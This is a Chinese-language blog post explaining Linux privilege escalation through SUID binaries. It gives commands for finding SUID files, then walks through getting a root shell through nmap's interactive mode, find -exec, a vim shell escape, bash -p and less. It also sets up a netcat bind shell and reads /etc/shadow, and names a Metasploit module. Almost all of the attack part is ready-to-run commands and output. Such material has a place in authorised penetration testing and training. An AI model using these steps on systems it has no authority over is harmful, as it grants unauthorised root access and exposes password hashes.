Linux提權————利用SUID提權

FLy_鵬程萬里發表於2018-05-23

前言

今天給大家帶來的是linux下的提權技巧。

SUID是Linux的一種許可權機制,具有這種許可權的檔案會在其執行時,使呼叫者暫時獲得該檔案擁有者的許可權。如果擁有SUID許可權,那麼就可以利用系統中的二進位制檔案和工具來進行root提權。

已知的可用來提權的linux可行性的檔案列表如下:

  • Nmap
  • Vim
  • find
  • Bash
  • More
  • Less
  • Nano
  • cp

以下命令可以發現系統上執行的所有SUID可執行檔案。具體來說,命令將嘗試查詢具有root許可權的SUID的檔案。

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

以上所有二進位制檔案都將以root使用者許可權執行,因為它們的許可權中包含"s",並且對應的是root許可權。

ls -l /usr/bin/nmap
-rwsr-xr-x 1 root root 780676 2008-04-08 10:04 /usr/bin/nmap

NMAP

較舊版本的Nmap(2.02至5.21)具有互動模式,允許使用者執行shell命令。由於Nmap在使用root許可權執行的二進位制檔案列表中,因此可以使用互動式控制檯來執行具有相同許可權的shell。

nmap -V

互動模式可以通過執行Nmap引數" interactive "

nmap --interactive

以下命令將提供一個提升的shell。

nmap> !sh
sh-3.2# whoami
root

也可以通過Metasploit模組對Nmap的二進位制檔案進行許可權提升。

exploit/unix/local/setuid_nmap

Find

如果Find命令也是以Suid許可權執行的話,則將通過find執行的所有命令都會以root許可權執行。

touch pentestlab
find pentestlab -exec whoami \;

大部分Linux作業系統都安裝了netcat,因此也可以被利用來將許可權提升至root。

find pentestlab -exec netcat -lvp 5555 -e /bin/sh \;

連線上去就會直接獲取到一個Root許可權的shell。

netcat 192.168.1.189 5555
id
cat /etc/shadow

VIM

Vim是Linux環境下的一款檔案編輯器。但是,如果以SUID執行的話,它會繼承root使用者的許可權,因此可以讀取系統上的所有檔案。

vim.tiny /etc/shadow

vim.tiny
# Press ESC key
:set shell=/bin/sh
:shell

Bash

以下命令將以root許可權開啟一個bash shell。

bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(serv

Less

Less和More都執行以用來提權。

less /etc/passwd
!/bin/sh


獲取到Root許可權

參考資料

https://pentestlab.blog/2017/09/25/suid-executables/

http://blog.csdn.net/haofeifei6/article/details/11516753

威脅情報分析平臺

最近在做一些威脅情報分析,apt攻擊源分析中,發現了一個很好的平臺,給大家推薦一下。

http://www.secange.com/2017/10/%E5%A8%81%E8%83%81%E6%83%85%E6%8A%A5%E5%88%86%E6%9E%90%E5%B9%B3%E5%8F%B0/

平臺地址:http://www.vxcube.com

 

相關文章